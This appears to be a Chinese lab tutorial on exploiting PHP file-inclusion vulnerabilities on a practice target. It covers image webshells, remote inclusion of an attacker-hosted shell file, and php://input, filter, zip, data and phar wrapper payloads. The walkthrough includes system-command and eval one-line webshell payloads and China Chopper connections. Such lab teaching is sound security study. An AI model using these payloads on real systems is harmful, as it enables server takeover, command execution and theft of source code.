一、文件包含漏洞利用之本地包含配合文件上传包含图片马
原理:
文件上传漏洞在绕过内容检测的时候,会制作图片马上传,但是图片马在上传之后,又不能解析。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。
制作图片马的方式有很多,常见的有两种:
- 在图片后写入脚本代码
- 在cmd中使用命令 copy 1.jpg/b+1.php/a 2.jpg
参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件
1、制作图片马,准备一个PHP脚本和一张图片
2、访问在浏览器中访问靶机:http://ip/up/up.html
3、上传图片马,图片马成功上传
4、访问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
5、访问http://ip/include/include.php?page=../up/upload/info.jpg,包含图片马,图片马成功解析
可以把脚本改成一句话木马,与菜刀连用,入侵靶机
二、文件包含漏洞利用之远程包含Webshell
原理:
本地包含只能包含目标服务器本地已有的文件,若目标服务器本地不存在木马文件,则无法利用。因此可以借助远程文件包含漏洞,在操作机本地搭建Web服务器,远程包含木马文件Getshell。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、打开"phpStudy",启动操作机的Apache服务
3、在操作机的Web根目录下新建shell.txt文件
4、在浏览器中访问http://目标机ip/include.php?page=http://操作机ip/shell.txt,并发送post数据测试一句话木马可以解析
5、利用中国菜刀,在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
6、点击“添加”,双击一句话木马地址
注:在无其他漏洞,只有文件包含漏洞,且目标服务器本地无shell文件可利用,又可以远程文件包含时,可以在攻击机本地新建一个一句话木马文件(比如:shell.txt,不要以.php的文件存在,因为php文件在操作机本地会被解析),然后远程包含攻击机本地新建的木马文件,从而Getshell。
三、PHP封装伪协议之php流input
原理:
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=php://input
3、勾选"Post data",在提交post数据的位置输入"<?php phpinfo();?>",并发送数据执行
4、发送"<?php system(‘dir’);?>"数据执行系统命令
5、发送"<?php system(‘whoami’);?>"数据执行系统命令
6、发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件
7、访问http://ip/include/include.php?page=shell.php
注:利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。
四、PHP封装伪协议之php流filter
原理: 利用php流的filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。获取敏感信息。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=php://filter/read=convert.base64-encode/resource=include.php
3、复制读取到的base64编码后的源码,借助火狐插件的base64解码功能(或者base64解码工具)
4、点击"确定",进行base64解码,可以读取指定文件的源码
注:利用PHP封装伪协议中的php流filter,指定末尾的文件,可以读取经过base64编码后的文件源码,再base64解码,可以读取文件源码。也可以利用?page=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。虽然不能直接获取shell,但是读取敏感文件也是有很大危害的。
五、PHP封装伪协议之zip流
原理:利用zip流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。
1、新建info.txt文件
2、对info.txt文件进行zip压缩
3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
4、点击“选择文件”按钮,选中要上传的文件
5、点击“submit”按钮,上传info.zip文件
6、访问http://ip/include/include.php
8、访问http://ip/include/include.php?page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt
注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用zip协议需要指定绝对路径,使用相对路径会包含失败;同时将#编码为%23。
六、PHP封装伪协议之data流
原理:利用PHP封装伪协议中data数据流,通过文件包含漏洞进行命令执行。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php
2、访问http://ip/include/include.php?page=data://text/plain,<?php phpinfo();?>,代码执行
3、也可以:将代码进行base64编码,访问http://ip/include/include.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4、访问http://ip/include/include.php?page=data://text/plain,<?php system(‘whoami’);?>,系统命令执行
5、访问http://ip/include/include.php?page=data://text/plain,<?php @eval($_POST[666]);?>,执行一句话木马
6、打开菜刀,在空白处鼠标右击,点击“添加”,添加shell地址
- 地址为:一句话木马地址和连接密码
- 脚本类型:PHP
7、点击“添加”,双击一句话木马地址
注:利用PHP封装伪协议中的data流,进行代码执行和系统命令执行,也可以对代码进行base64编码,同样可以执行一句话木马,从而Getshell。
七、PHP封装伪协议之phar流
跟zip流相似,但是路径相对跟绝对都行
原理:利用phar流,先将将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,上传文件绕过上传检测,再进行包含解析。
1、新建info.txt文件
2、对info.txt文件进行zip压缩
3、登录操作机,打开浏览器,在浏览器中访问http://ip/up/up.html
4、点击“选择文件”按钮,选中要上传的文件
5、点击“submit”按钮,上传info.zip文件
6、访问http://ip/include/include.php
注:利用PHP封装伪协议中的zip流,先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,绕过文件上传的限制,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。使用phar流绝对路径和相对路径都可以。
php流的用法表
这篇文章就写到这里了!
版权归原作者 賺钱娶甜甜 所有, 如有侵权,请联系我们删除。